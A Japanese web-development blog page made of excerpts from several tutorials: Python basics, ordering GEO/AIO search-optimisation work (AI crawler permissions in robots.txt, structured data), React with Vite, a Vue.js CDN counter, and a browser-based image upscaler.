macOS：3.14.x のように表示されればOK python --version # Windowsはこちら ローカル環境の考え方そのものに不安がある場合は、PHPでの構築手順ですが MAMPとXAMPPの導入方法 が参考になります。プロジェクトごとに環境を分ける発想を知りたい方は Docker Composeで作るローカル開発環境 もあわせてどうぞ。 基礎文法①：変数・出力・データ型 ここから実際に書いていきます。出力は console.log() ではなく print() です。変数は名前に代入するだけで作られます。 name = "太郎" age = 28 height = 172.5 is_member = True print(name) print(type(age)) # 型を調べる print(f"{name}さんは{age}歳です") 文字列に変数を埋め込む f"{name}さん" は、JavaScriptのテンプレートリテラルに当たるものです。 ### [GEO・AIO対策は何から？記事0本の日に決まる着手順](https://codequest.work/geo-aio-start-order/) GEO・AIO対策を何から始めるかの答えは、施策の優先順位ではなく「いつ敷くか」で決まります。結論から言うと、AIクローラーの許可とインデックスの土台は、記事を1本も書いていない日に終わらせます。構造化データなどの配管も同じ日に通しておきます。記事を書くのは、そのあとです。 「SEOが先か、GEO・AIOが先か」という議論をよく見かけます。ただ、この2つは同じ土俵の話ではありません。片方はサイトに1回入れれば全ページに効く設定で、もう片方は記事を出すたびに毎回発生する作業です。競うものが違うので、どちらが先かを比べても答えが出ません。 この記事はこれからサイトを作る人に向けて、着手する順番だけを扱います。GEO・AIO・AEO・LLMOという用語そのものの整理はAIO・AEO・GEO・LLMOとは？AI時代のSEO新概念の違いと実践的な最適化方法に、すでにサイトがある人向けの配分の決め方はSEO・AEO・GEOの投資配分にまとめてあります。 GEO・AIO対策の着手順は「用水路 → 水」で決まる 田んぼに水を引くとき、先にやるのは用水路を掘ることです。水を汲んでくるのはそのあとになります。順番を逆にしても水は流れますが、途中で地面に染みて目減りします。 サイト制作もこれと同じ構造をしています。用水路にあたるのがサイト側の設定で、水にあたるのが記事です。そして両者の決定的な違いは、掘る回数にあります。用水路は1回掘れば、あとは何度水を流しても勝手に届きます。水のほうは毎回自分で汲んでこなければなりません。 ここから導かれる結論はひとつです。1回で済むほうを、記事が0本の日に終わらせておく。これがGEO・AIO対策の着手順のすべてです。 全体像：土地をならす／用水路を掘る／水を流す サイト制作で行う作業は、この3つの層に分かれます。層を分ける基準は施策の名前ではなく、「何回やるか」です。 層中身いつやるか回数第1層：土地をならすクロール許可・インデックス・サイトマップ・表示速度記事0本の日1回。以後すべてのページに効く第2層：用水路を掘る構造化データ・著者情報・更新日・テンプレートの型記事0本の日1回。以後の記事が自動的に満たす第3層：水を流す記事の中身・検索意図・独自の知見1記事目以降ずっと毎回。自動化できない 世の中で「GEO対策」「AIO対策」と呼ばれているものは、この表の第1層と第2層にまたがって散らばっています。一方で「SEO対策」と呼ばれているものは、第1層と第3層にまたがっています。名前で切ると層をまたいでしまうので、着手順が決まらないわけです。 第1層 土地をならす — クロールとインデックス 第1層は唯一「やらないと出ない」層です。ここだけは効率の話ではなく、可否の話になります。しかも各社が公式ドキュメントで条件を明記しているので、推測の余地がありません。 Google以外のAIは、クローラーを名指しで許可する必要がある ここが新規サイト制作でいちばん見落とされます。ChatGPTの検索結果に出るかどうかは、robots.txt で特定のボットを許可しているかで決まります。 OpenAIの公式ドキュメントによると、同社は用途の異なるボットを複数運用しており、それぞれ独立して制御できます。OpenAI「Bots」には、検索表示用のボットを拒否したサイトは検索結果から除外されると記載されています。 ボット名用途許可しないとどうなるかOAI-SearchBotChatGPTの検索機能での表示ChatGPT検索の結果に出なくなるGPTBot生成AIモデルの学習用クロール学習データに使われなくなる（表示とは別）ChatGPT-Userユーザーの質問に応じたページ訪問自動クロールには使われないPerplexityBotPerplexityの検索結果での表示Perplexityの結果に出なくなる 重要なのは「表示用」と「学習用」が別のボットに分かれている点です。学習には使われたくないが検索結果には出たい、という判断ができます。OpenAIのドキュメントには、検索用を許可しながら学習用を拒否する設定が可能である旨が明記されています。Perplexityも同様に、公式ガイドで検索表示用のボットを robots.txt で許可することを推奨しています。 この判断はサイトを作る日にしかまとめてできません。あとから思い出して robots.txt を見直す機会は、実際には訪れないからです。 GoogleのAI機能は「インデックスされていること」が条件 Google側の条件は明快です。Google検索セントラル「AI features and your website」には、AI OverviewsやAI Modeに参照リンクとして表示されるには、そのページがインデックスされていて、かつスニペット付きでGoogle検索に表示できる状態である必要があると書かれています。 裏を返すと、Googleに関してはAI検索のための追加設定が存在しないということです。同ページには、これらの機能に表示されるために新しい機械可読ファイルやAI向けテキストファイル、マークアップを作る必要はない、と明記されています。この点は第2層の話をするときに効いてきます。 第1層でやることは、結局この4つに集約されます。 robots.txt で、表示させたいAIのクローラーを許可する（学習用は別途判断） サイトマップを送信し、インデックスされる状態を作る noindex や不要なクロール制限が残っていないか確認する 本文がJavaScript実行なしで読める状態か確認する 第2層 用水路を掘る — 後から通すと高くつく配管 第2層は第1層とは性格が違います。やらなくても記事は出ますし、AIに引用されることもあります。ここを「入れないとAI検索に出ない」と説明している記事を見かけますが、少なくともGoogleについては公式が正面から否定しています。 では、なぜ記事0本の日にやるのか。理由はAI検索のためではなく、後から通すと工数が肥大化するからです。 1回の作業が、記事の本数だけ増える 第2層の作業には、テンプレートに1回入れれば以後の記事すべてに乗るものと、記事ごとに手を入れるものが混ざっています。問題は、先にやれば前者で済むものが、後からやると後者に化けることです。 作業記事0本の日にやる場合記事が増えてからやる場合構造化データの出力テンプレートに1回書くテンプレート修正＋全記事の出力確認著者情報の設計1回決めて型に埋める過去記事の表示と構造化データの突き合わせ更新日の運用ルール最初から動く状態で始める過去記事の日付が実態と合っているか棚卸し本文の型（結論を先に書く等）ひな形に固定して以後全記事が従う既存記事を1本ずつ読み直して書き換え 右の列は、どれも記事の本数に比例して膨らみます。しかも既存記事の修正は、書き換えるたびに内容そのものを読み直す必要があるため、新規記事を1本書くより時間がかかることさえあります。左の列はどれも1回で終わります。この差が、着手日を前に倒す唯一にして十分な理由です。 いま運用中のサイトで、この配管が通っているかどうかを確かめたい場合はAI検索で引用されない？対策3つで現状の見方を整理しています。 自分のサイトの配管が通っているか診断する 配管に通す4つと、それぞれを入れる理由 第2層に入れるものは4つです。いずれもAI検索に出るための必須条件ではありません。それぞれ別の理由で入れます。 構造化データ（JSON-LD） 入れる理由は通常のGoogle検索でのリッチリザルトと、ページの性格を機械が誤解しないようにするためです。AI検索のためではありません。記事なのか、ツールなのか、一覧なのかを明示しておくと、後から種類を増やすときにも土台が使えます。 形式はJSON-LDを選びます。本文のHTMLと分離して出力できるため、テンプレート側に1回書けば以後の記事が自動的に持つようになるからです。本文に埋め込む形式を選ぶと、この「1回で済む」という性質が失われます。 著者情報（author） 入れる理由はE-E-A-Tの表現と、後からの手戻りがいちばん大きい項目だからです。著者情報は構造化データ側と画面表示側の両方に出るうえ、プロフィールページという実体も必要になります。この3つを後から揃えると、全記事の表示確認が発生します。 逆に、最初に「誰が書いているサイトなのか」を1回決めてしまえば、以後の記事は何も考えずにその情報を持ちます。 更新日（dateModified） 入れる理由は運用が始まってからでは正しい値を復元できないからです。公開日と更新日を分けて持たずに走り出すと、あとから「この記事はいつ直したのか」を思い出せなくなります。記録は最初から取っていないと作れません。 注意点として、更新日は実際に内容を直したときだけ動く状態にしておきます。触っていない記事の日付が自動で新しくなる作りは、読者に対しても検索エンジンに対しても実態と食い違います。 llms.txt は、いま急いで作る必要はない 4つ目のllms.txtだけは扱いが異なります。主要なAI検索エンジンで、これを読んで結果に反映していると公表しているところは現時点でありません。Googleは前掲のドキュメントで、AI向けのテキストファイルを新たに作る必要はないと明記しています。 作ること自体に害はありませんが、第1層のクローラー許可より先に手をつける理由はありません。優先度の判断材料はllms.txtとは何かに詳しくまとめています。 第3層 水を流す — 記事だけは毎回手で汲む 第1層と第2層を敷き終えても、AIに引用されるかどうかは決まりません。ここを「設定すれば自動で埋まる」と考えると、配管だけ立派で水が流れていないサイトになります。 実際に引用の可否を分けているのは、記事の中身です。問いに対する答えが本文の早い位置にあるか、数値に出典があるか、そこにしか書かれていない知見があるか。これらはテンプレートに埋め込めません。1記事ごとに書くしかない部分です。 ただし「型」だけは第2層に前借りできます。見出しの直後に結論を置く、手順は番号付きリストにする、比較は表にする、といった構造上の約束をひな形に固定しておけば、以後の記事は書くだけで自動的にその形になります。前借りできるのは器の形までで、中身は毎回汲んでくる、という切り分けです。 100本書いてから掘ると何が起きるか 記事を100本書いたあとで第2層に着手する場合、作業はこう変わります。 テンプレートを直す（ここは記事0本のときと同じ工数） 過去記事すべてで、出力が壊れていないか確認する テンプレートでは埋まらない項目を、記事ごとに手で埋める 本文の型に合っていない記事を読み直して書き換える 書き換えた記事のインデックスが更新されるのを待つ 増えるのは1番以外の全部です。しかも4番の「読み直して書き換える」は、新しい記事を書く時間を丸ごと奪います。過去の在庫を直している間、新しい水は1滴も流れません。これが工数肥大化のいちばん重い部分です。 記事0本の日にやれば、この5段階は1番だけで終わります。同じ成果を得るのに、支払う額が桁で変わるということです。 なぜ「SEOが先」と「配管が先」は噛み合わないのか 「まずSEOの基礎を固めてからGEOへ」という説明は、よく見かけますし、間違ってもいません。ただこの文脈で言われているSEOは、ほとんどの場合ここでいう第3層（記事を書く作業）を指しています。 一方で「配管が先」と言うときに指しているのは第1層と第2層です。この2つは競合しません。第3層は1記事目以降ずっと続く作業で、第1層・第2層は記事0本の日に終わる設定だからです。順番を争う関係になっていません。 主張実際に指している層正しいかSEOが先第1層＋第3層正しい。 ### [React入門｜何が作れるかとVite 1コマンドで動かす最初の一歩](https://codequest.work/react-beginner-guide/) Reactとは、Webとネイティブアプリの画面を組み立てるためのJavaScriptライブラリです。画面を「コンポーネント」という部品に分けて作り、状態が変わったところだけを自動で描き直します。公式は自らをライブラリと位置づけており、ルーティングやデータ取得の方法までは定めていません。 Reactの入門でつまずく原因は、文法よりも「何から始めればいいか分からない」ことにあります。検索して出てくる手順が古く、公式が非推奨にしたツールを勧めていたり、いまは存在しないコマンドが書かれていたりする。手を動かす前の段階で情報が食い違い、そこで止まってしまうパターンです。 この記事では、Reactで何が作れるのかを国内企業の実例とあわせて示したうえで、公式が現在どの始め方を勧めているかを一次情報で確認し、Viteでプロジェクトを立てて最初のコンポーネントを動かすところまでを扱います。書いたコードが正しく動いているかを自分で確認する手順まで含めているので、上から順に進めれば1つのループを完走できます。 Reactとは｜画面を部品に分けて組み立てるライブラリ Reactの考え方は「画面を部品に分ける」の一点に集約されます。ボタン、入力欄、カード、一覧。それぞれを独立した部品として書き、組み合わせて画面を作ります。部品は自分の状態を持ち、その状態が変わると、その部品だけが描き直されます。 公式サイトはReactを「Webとネイティブのユーザーインターフェースのためのライブラリ」と説明しています。同時に「Reactはライブラリです。コンポーネントを組み合わせることはできますが、ルーティングやデータ取得のやり方までは規定しません」とも明記しています。この性格が、後述する始め方の話に直結します。 項目内容種類UIを組み立てるためのJavaScriptライブラリ現行メジャー19系（2026年8月時点）作れるものWebアプリ、ネイティブアプリ（React Native）、静的サイト始めるのに必要なものNode.jsとターミナル開発元Meta発。2026年2月よりReact Foundationが所有 開発元について補足します。React公式ブログ（2026年2月24日）によると、ReactとReact Native、およびJSXなどの関連プロジェクトは、もはやMetaの所有ではなく、Linux Foundationがホストする独立組織「React Foundation」が所有する体制へ移行しました。「ReactはMetaが作っているもの」という説明は、現在は正確ではありません。 利用状況は調査によって数字が変わります。Stack Overflowの開発者調査2025（回答者49,079人・177カ国、当該設問の回答は23,678件）では、Reactを過去1年で本格的に使ったと答えた開発者は44.7%でした。JavaScript開発者に絞ったState of JS 2025（回答者13,002人）では、利用経験率85%、利用者の満足度72%と報告されています。 Reactで何が作れるか Reactが得意なのは、状態が細かく変わり続ける画面です。入力・絞り込み・並び替え・保存が同じ画面で何度も起きるもの、つまり業務システムや管理画面が典型になります。国内企業が公開している実例を見ると、この傾向がはっきり出ています。 業務システムの中核画面｜サイボウズの例 サイボウズは、kintoneの中核である「アプリ機能」のレコード登録・編集・閲覧画面について、数年前からコードをReactとTypeScriptへ置き換えていることを公開しています（Cybozu Inside Out・2026年7月14日）。データを入力して保存する画面が延々と続くプロダクトで、Reactが選ばれている例です。 管理画面・ダッシュボード｜ZOZOの例 ZOZOは、マーケティングプラットフォームの管理画面「MPマネージャー」をReactとNext.jsで構築したと公開しています。選定理由として、ZOZOTOWNのWebホーム画面でも同じ構成を使っていることを挙げています（ZOZO TECH BLOG・2024年3月25日）。 管理画面は、フィルタ・ソート・ページネーション・一括操作が同居します。素のJavaScriptで書くと状態の管理が破綻しやすい領域で、Reactの部品分割が最も効く場所です。 データを見せるプロダクト｜カケハシの例 カケハシは、BIプロダクト「Musubi Insight」のフロントエンドを、AngularからReactとNext.jsへ全面的にリプレイスした経緯を公開しています（カケハシ プロダクト開発ブログ・2023年12月8日）。数値を集計してグラフで見せる種類のプロダクトです。 スマホアプリ｜ファインディの例 Reactで書いた画面は、ブラウザの外へも出せます。ファインディは、自社初のモバイルアプリ「Findy Events」をReact NativeとExpoで開発したと公開しています（Findy Tech Blog・2026年4月23日）。 公式は、React NativeとExpoについて「これはWebViewではない。Reactコンポーネントが、プラットフォーム本来のネイティブビューとして描画される」と説明しています。Webページをアプリの皮で包んだものではない、という意味です。 作れるものの整理 作るもの組み合わせるもの公式の位置づけ業務システム・管理画面React単体＋Vite、またはNext.jsReactの中心的な用途フルスタックのWebアプリNext.js / React Router公式が推奨するフレームワーク静的サイト（SSG）Next.js（output: 'export'）ルートごとにHTMLを生成スマホアプリReact Native / Expo公式が推奨。WebViewではない既存ページへの部分導入React＋Vite公式に手順あり この記事では、いちばん左の「React単体＋Vite」から始めます。フレームワークは、作るものが決まってから選べば間に合います。 Reactには「1行貼るだけ」の入口がない 始め方の話に入る前に、先に伝えておくべきことがあります。ReactはHTMLにscriptタグを1行足すだけでは始められません。これは環境の問題ではなく、Reactの配布方法が変わったためです。 React 19アップグレードガイド（2024年4月25日）には、「React 19以降、ReactはUMDビルドを生成しなくなる」と明言されています。UMDビルドとは、scriptタグで直接読み込める形式のことです。実際、現行のReact 19にはこの形式のファイルが配布されていません。 ここで注意が必要です。「ReactはCDNで試せない」と断定するのも不正確です。公式は代わりにESM形式のCDNを案内しており、import React from "https://esm.sh/react@19" のような読み込みは今も可能です。ただしこれはモジュールの知識が前提になるため、入門の最初の一歩には向きません。 もう1つ、検索で出てくる情報の落とし穴があります。React公式サイトには今も「HTMLファイル1枚をダウンロードして試す」という案内がありますが、そのファイルの中身はReact 18のUMDです。これをそのまま入門の手順として使うと、現行バージョンではない書き方を覚えることになります。 したがって、この記事ではビルドツールを最初から入れます。遠回りに見えますが、これが現行のReactでは最短です。 ちなみに、環境構築なしで始められるフレームワークを先に触ってみたい場合は、Vue.js入門を先に読むという選択肢もあります。そちらはCDNから1行で始められます。 公式はフレームワークから始めることを勧めている React公式ドキュメント「Creating a React App」は、「Reactで新しいアプリやWebサイトを作るなら、フレームワークから始めることを推奨する」としています。挙げられているのは次の3つです（2026年8月20日閲覧）。 Next.js（App Router） — Webアプリ全般。サーバー側の処理まで含めて扱える。 React Router — ページの切り替えを中心に据えた構成。 Expo — スマホアプリを作る場合。 「フルスタックフレームワーク」という言葉からサーバーが必要だと思われがちですが、公式は「フルスタックフレームワークはサーバーを必要としない。本ページのフレームワークはすべて、クライアントサイドレンダリング、シングルページアプリ、静的サイト生成に対応している」と補足しています。 ではなぜこの記事がViteを使うのか。フレームワークは、Reactに加えてルーティング・データ取得・ビルド設定の作法を同時に覚えることになるからです。入門段階でそれをやると、どこまでがReactの話でどこからがフレームワークの話なのかが分からなくなります。 Viteは、React公式ドキュメントで「モダンなWebプロジェクトに、より高速で無駄のない開発体験を提供することを目指すビルドツール」と位置づけられています。同ページには「Viteは、推奨フレームワークの1つであるReact Routerでも実際にビルドツールとして使われている」とも書かれています。公式の推奨から外れた道具ではありません。 create-react-appは使わない Reactの入門記事でいまも見かける npx create-react-app は、使わないでください。公式が非推奨にしています。 React公式ブログ「Sunsetting Create React App」（2025年2月14日）で、Reactチームは新規アプリ向けにCreate React Appを非推奨とし、フレームワークまたはVite・Parcel・Rsbuildといったビルドツールへの移行を推奨すると表明しました。現行のドキュメントにも「Create React Appを使うべきですか？ いいえ。Create React Appは非推奨になりました」と明記されています。 ただし、言い過ぎにも注意が必要です。公式は「既存のCreate React Appアプリはメンテナンスモードで動き続ける」とも書いています。「使えなくなった」のではなく「新規では選ばない」が正確な理解です。既存の案件で使われていても、それ自体が問題というわけではありません。 Viteで最初のプロジェクトを立てる 実際に動かします。先にNode.jsのバージョンを確認してください。Vite公式ガイドによると、Viteは20.19以上、または22.12以上を要求しています（2026年8月20日閲覧）。 node -v # v22.12.0 以上、または v20.19.0 以上であればOK 確認できたら、次の1コマンドでプロジェクトが作られます。 npm create vite@latest my-app -- --template react-ts cd my-app npm install npm run dev 表示されたローカルアドレスをブラウザで開けば、Reactの初期画面が出ます。ここまでが最初の一歩です。 テンプレート名について1つ注意があります。Reactのテンプレートは react と react-ts の2つです。解説記事によっては別の名前が書かれていることがありますが、執筆時点の create-vite のテンプレート一覧には含まれておらず、打つとエラーになります。TypeScriptを使わない場合は --template react にしてください。 Vite自体が何をしている道具なのかは、Viteの基礎知識で扱っています。 ### [Vue.js入門｜何が作れるかとCDN 1行で動かす最初の一歩](https://codequest.work/vue-js-beginner-guide/) Vue.js（ビュージェイエス）とは、Webページに動きや対話性を加えるためのJavaScriptフレームワークです。HTMLファイルに script タグを1行足すだけで使い始められる点が最大の特徴で、専用の開発環境を用意しなくても、いま手元にあるページにそのまま組み込めます。 フレームワークの学習で最初に詰まるのは、文法ではなく環境構築です。ターミナルを開き、Node.jsのバージョンを合わせ、コマンドで雛形を生成し、開発サーバーを起動する。ここまで進めた時点で力尽きて、肝心の「何が書けるのか」に到達しないまま終わってしまう。JavaScriptの基礎を終えた人がフレームワークで挫折する典型的なパターンです。 この記事では、Vue.jsで具体的に何が作れるのかを、国内企業が実際にどう使っているかも含めて示したうえで、コマンドを一切使わずCDNで動かす最初のコードから、Viteを使った本格的な構成へ進む手順までを順に扱います。書いたコードが正しく動いているかを自分で確認する手順まで含めているので、上から順に進めれば1つのループを完走できます。 Vue.jsとは｜HTMLに1行足すだけで動くJavaScriptフレームワーク Vue.jsは、画面の表示とデータを自動的に同期させるためのJavaScriptフレームワークです。素のJavaScriptでは「値が変わったら、その値を表示している場所を探して書き換える」という手順を自分で書く必要がありますが、Vue.jsでは値と表示場所を最初に結び付けておけば、値が変わった時点で表示が勝手に追随します。 公式ドキュメントは、Vue.jsを「プログレッシブフレームワーク」と位置づけています。全部を使うことも、必要な部分だけを使うこともできるという意味です。ページの一部分にだけ組み込む使い方から、サイト全体をVue.jsで組み立てる使い方まで、同じ道具のまま段階的に広げられます。 この「必要な分だけ使える」性質が、学習の入口としては大きな利点になります。最初にプロジェクト全体を作る必要がなく、既存のHTMLファイル1枚から始められるからです。 項目内容種類フロントエンド（画面側）のJavaScriptフレームワーク最新の安定版Vue 3.5.41（2026年8月5日リリース）ライセンスMIT始めるのに必要なものHTMLファイルとブラウザだけ（CDNを使う場合）公式ドキュメント日本語版あり バージョンについては、Vue公式のリリース情報によると、2026年8月20日時点の最新安定版はVue 3.5.41です。次期版となる3.6はリリース候補（RC）の段階で、正式リリースはまだされていません。 どれくらい使われているかは、調査によって数字が変わります。Stack Overflowの開発者調査2025（回答者49,079人・177カ国、当該設問の回答は23,678件）では、Vue.jsを過去1年で本格的に使ったと答えた開発者は17.6%でした。一方、JavaScript開発者に対象を絞ったState of JS 2025（回答者13,002人・2025年9〜11月実施）では、利用経験率52%、利用者の満足度84%と報告されています。 3倍の開きがありますが、これは母集団と質問が違うためです。前者は全分野の開発者に「過去1年で本格的に開発したか」を聞いており、後者はJavaScript開発者に「使ったことがあるか」を聞いています。どちらか一方だけを「Vueのシェア」として読むと実態を見誤ります。 Vue.jsで何が作れるか Vue.jsで作れるものは、小さな部品から本格的なサービスまで幅があります。ここでは「自分で今日から作れるもの」と「実際の企業が作っているもの」を分けて見ていきます。規模のふり幅を先に知っておくと、自分がどこを目指すのかを決めやすくなります。 既存ページに足せるもの 学習の最初に作るなら、いま持っているページに部品を足すのがもっとも早く動きます。いずれも素のJavaScriptで書くと状態管理が煩雑になりがちな部分で、Vue.jsの効果が体感しやすい題材です。 入力フォームのその場チェック。文字数や必須項目の過不足を、送信前にリアルタイムで表示する。 一覧の絞り込みと検索。カテゴリのチェックボックスやキーワード入力に応じて、表示中のリストを即座に絞る。 モーダル・タブ・アコーディオン。開閉の状態を持つUI。表示するかどうかを真偽値1つで切り替えられる。 入力内容のプレビュー。フォームに打った内容を、別の場所へその場で反映して見せる。 既存サイトへ少しずつ入れていく｜GMOペパボの例 すでに動いているサイトを止めずに、部分的にVue.jsへ置き換えていく使い方があります。GMOペパボは、カラーミーショップの開発において、既存のサーバサイドテンプレートにVueコンポーネントをWeb Components化して差し込む方法を採り、管理画面をVue 3へ段階的に移行していると公開しています（ペパボテックブログ・2025年7月7日）。 全部を一度に作り直さなくてよい、という点が実務では大きな意味を持ちます。学習の入口で「HTMLに1行足すだけ」から始められる性質が、そのまま業務での導入しやすさにつながっている例です。 サービス本体をまるごと作る｜アンドパッドの例 反対に、フロントエンド全体をVue.js系で構築する使い方もあります。アンドパッドは「ANDPAD 引合粗利管理」のフロントエンドをNuxtで構築しており、2020年にNuxt 2で開始したのち、2023年にNuxt 3へ移行したと公開しています（ANDPAD Tech Blog・2026年2月16日）。 NuxtはVue.jsを土台にしたフレームワークで、サーバー側でHTMLを生成するサーバーサイドレンダリング（SSR）などを標準で扱えます。Vue.jsを覚えたあとに進む先の1つだと考えておけば十分です。 大規模サービスの画面を作り替える｜ラクスルの例 すでにVue.jsで作られたものを、新しいバージョンへ移していく仕事もあります。ラクスルは印刷事業部のプロダクトについて、少なくとも70以上のファイルを対象にVue 2からVue 3への移行を進めた記録を公開しています（RAKSUL TechBlog・2025年12月18日）。 いま学ぶ人にとっては、Vue 3の書き方を最初から身につけておけばこの移行作業に巻き込まれずに済む、という話でもあります。学ぶバージョンの選択については後の見出しで扱います。 Webの外にも出せる Vue.jsで書いた画面は、ブラウザの外にも持ち出せます。公式ドキュメントの「Vueのさまざまな活用方法」では、次の組み合わせが挙げられています。すぐに使う知識ではありませんが、学んだものがWebサイト以外にも通用すると分かっていれば、学習の投資判断がしやすくなります。 作るもの組み合わせる道具デスクトップアプリElectron / WailsモバイルアプリIonic Vueデスクトップとモバイルの両対応Quasar / Tauri3D表現（WebGL）TresJS 出典はVue公式ドキュメント「Ways of Using Vue」です（2026年8月20日閲覧）。 まずCDNで動かす｜コマンドを使わずにカウンターを作る ここから実際に動かします。Vue公式のクイックスタートには現在もCDNから読み込む方法が掲載されており、「CDNからVueを使用する場合はビルドステップは必要ありません」と説明されています。Node.jsのインストールもコマンド操作も不要です。 次の内容を index.html という名前で保存し、ブラウザで開いてください。これだけでボタンを押すたびに数字が増えます。 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <title>Vue.js カウンター</title> <script src="https://unpkg.com/vue@3/dist/vue.global.js"></script> </head> <body> <div id="app"> <p>押した回数: {{ count }}</p> <button @click="count++">押す</button> </div> <script> const { createApp, ref } = Vue createApp({ setup() { const count = ref(0) return { count } } }).mount('#app') </script> </body> </html> やっていることは3つだけです。script タグでVue.js本体を読み込み、createApp() でアプリを作り、.mount('#app') で「このHTMLのどこを担当させるか」を指定しています。#app の外側は今までどおりの静的なHTMLのままです。 注目してほしいのは、count++ と書いただけで画面の数字が変わる点です。表示を書き換える処理は一行も書いていません。「値と表示場所を結び付けておけば、値の変更に表示が追随する」という冒頭の説明が、ここで実際に効いています。 素のJavaScriptで同じものを書くと、querySelector で表示場所を取得し、クリックのたびに textContent を更新する処理が必要になります。表示箇所が増えるほどこの更新処理も増えていきますが、Vue.jsでは増えません。 最初に覚えるのは3つだけ｜表示・入力・条件と繰り返し Vue.jsの機能は多いですが、最初の1つを作り切るのに必要な文法は3つです。この3つで、前の見出しに挙げた「既存ページに足せるもの」はひととおり作れます。 値を画面に出す 二重の波かっこで囲むと、その位置に値が表示されます。中では簡単な式も書けます。 <p>{{ userName }} さん、こんにちは</p> <p>合計: {{ price * quantity }} 円</p> 入力欄と値を同期させる v-model を付けると、入力欄と値が双方向に同期します。打った内容が即座に値へ入り、値を変えれば入力欄の表示も変わります。フォームのその場チェックやプレビューは、これだけで形になります。 <input v-model="message" type="text"> <p>入力中: {{ message }}</p> <p>残り {{ 100 - message.length }} 文字</p> 出し分けと繰り返し v-if は条件によって要素を出すかどうかを決め、v-for は配列の要素数だけ同じ形を繰り返します。モーダルの開閉は前者、一覧表示は後者です。 <p v-if="items.length === 0">該当する項目はありません</p> <ul> <li v-for="item in items" :key="item.id"> {{ item.name }} </li> </ul> :key は繰り返した要素を見分けるための目印です。付け忘れても動いてしまうことがありますが、並び替えや削除をしたときに表示がずれる原因になるので、最初から付ける習慣にしてください。 ### [画像を高画質化する無料ツール｜ボケ補正・AI超解像に対応](https://codequest.work/image-upscaler-tool/) 画像高画質化ツールとは、小さい画像やピントの甘い写真を最大4倍まで大きくしながら、輪郭と細部を補って保存できる無料のブラウザツールです。1秒前後で終わる標準モードと、学習モデルをブラウザの中で動かすAI超解像モードを選べます。処理はすべて手元のブラウザで完結し、画像がサーバーへ送られることはありません。会員登録も不要です。 手元にある画像が小さすぎる、という場面は思ったより多く訪れます。昔のサイトから引き上げてきた商品写真が480pxしかない、SNS用に作ったバナーを印刷物にも使いたい、Retinaディスプレイ向けに2倍サイズの素材が欲しいのに元データが見つからない。そこで画像編集ソフトで拡大すると、全体がぼんやりして輪郭が甘くなり、そのまま使うには耐えないという結果になります。かといってオンラインの高画質化サービスは、写真をアップロードすることへの抵抗と、回数や解像度の制限がつきまといます。 この記事では、CodeQuest.workが公開している無料ツール「画像高画質化ツール」の使い方を、操作の流れに沿って解説します。あわせて、なぜ普通に拡大するとボケるのか、標準モードとAI超解像モードはそれぞれ何をしているのかという仕組みと、ボケ補正を掛けてはいけない写真の見分け方、画像が外へ出ていないことを自分で確かめる手順、Web制作での使いどころまでまとめました。 画像高画質化ツールを使ってみる（無料） 画像高画質化ツールとは 画像高画質化ツールは、ブラウザだけで完結する画像の拡大・補正ツールです。基本の流れは「読み込む → 倍率と処理方式を選ぶ → 比較して保存する」の3段階で、結果はブラウザ標準の拡大と左右に並べて見比べてから保存できます。インストールもアカウント作成も要りません。 似た名前のサービスと一番違うのは、画像を1バイトもサーバーに送らないことです。多くのオンライン高画質化サービスは、画像をサーバーへ送ってGPUで処理し、結果を返す構造になっています。そのため利用回数や解像度に上限があり、無料枠を超えると有料プランへ誘導されます。このツールは処理を利用者のブラウザで行うため、回数の制限も料金もなく、送った画像がどう扱われるかを気にする必要もありません。 処理方式は2つあります。標準モードは数値計算だけで拡大とボケ補正を行い、1秒前後で終わります。AI超解像モードは超解像の学習モデルをブラウザ内で実行し、時間がかかる代わりに細部の復元で上回ります。どちらも「失われた情報を無から作る」わけではないため、ひどい手ブレやピンボケが完全に元通りになることはありません。この限界は記事の中でも繰り返し触れます。 このツールでできること 設定パネルで選べる項目と、書き出せる形式は次のとおりです。 項目選べる内容補足読み込める形式JPEG / PNG / WebP / AVIFドラッグ＆ドロップまたはクリックで選択拡大倍率1.5倍 / 2倍 / 3倍 / 4倍AI超解像モードは2倍と4倍のみ処理方式標準（高速） / AI超解像AIモードはWebGPU対応ブラウザで有効になるボケ補正0〜100の強さ（初期値はオフ）標準モードのみ。ピントの甘い写真向け補正の品質高速 / 標準 / 高品質ボケ補正の計算回数。オフのときは効かない仕上げシャープ0〜200%（初期値15%）最後に輪郭を整える。詳細設定で半径としきい値も変えられる比較ビュー左＝ブラウザ標準の拡大 / 右＝処理結果仕切り線をドラッグ、全体表示と等倍表示を切り替え保存形式PNG / JPEG / WebP / AVIF初期値は読み込んだ画像と同じ形式出力の上限1,600万画素超える倍率は自動で下げる（AIモードは倍率を下げるよう案内） 押さえておきたいのは、比較ビューの左側が「何もしなかった場合」を表している点です。左はブラウザに備わっている標準の拡大処理そのものなので、右との差がそのままこのツールの効果になります。差が見えなければ設定を変える、差が見えれば保存する、という判断がその場でできます。 サンプル画像も4枚用意してあります。手元に画像がなくても、森・湖・山の風景写真と、ピントの甘い写真を読み込んで動きを試せます。 使い方は4ステップ 画像をドラッグ＆ドロップするか、枠をクリックしてファイルを選ぶ 拡大倍率と処理方式を選ぶ。迷ったら標準モードの2倍から。出力サイズと所要時間の目安がその場に表示される 「高画質化する」を押し、比較ビューで結果を見る。仕切り線を左右にドラッグすると、同じ場所を標準拡大と処理結果で見比べられる 形式を選んで「保存」を押す 結果を見るときは、「等倍(100%)」を押して拡大表示にしてください。全体表示のままでは画像が縮小されて表示されるため、輪郭の差はほとんど分かりません。等倍にして、文字の縁や髪の毛、建物の直線のような細い部分に仕切り線を合わせると、違いがはっきり見えます。マウスホイールでさらに拡大することもできます。 標準モードの計算は別スレッド（Web Worker）で動くため、実行中もページが固まりません。進捗バーには「拡大中」「細部を復元中」「ボケ補正中」「シャープ処理中」のように、いま何をしているかが表示されます。この表示は次の章で説明する処理の順番そのものです。 なぜ普通に拡大するとボケるのか 拡大がボケる理由は単純で、拡大は情報を増やす処理ではないからです。480×320pxの画像には153,600個の画素しかありません。これを2倍にすると614,400個の画素が必要になりますが、元の画像が持っている情報は153,600個ぶんのままです。増えた分の画素は、周囲の画素から「たぶんこの色だろう」と補って埋めるしかありません。 この「補って埋める」計算を補間と呼びます。ブラウザや画像編集ソフトの標準的な拡大は、隣り合う画素の色をなめらかにつなぐ方式なので、色の境目、つまり輪郭が必ずぼやけます。輪郭とは「ここで色が急に変わる」という情報ですが、なめらかにつなぐ計算はその急な変化を薄めてしまうためです。 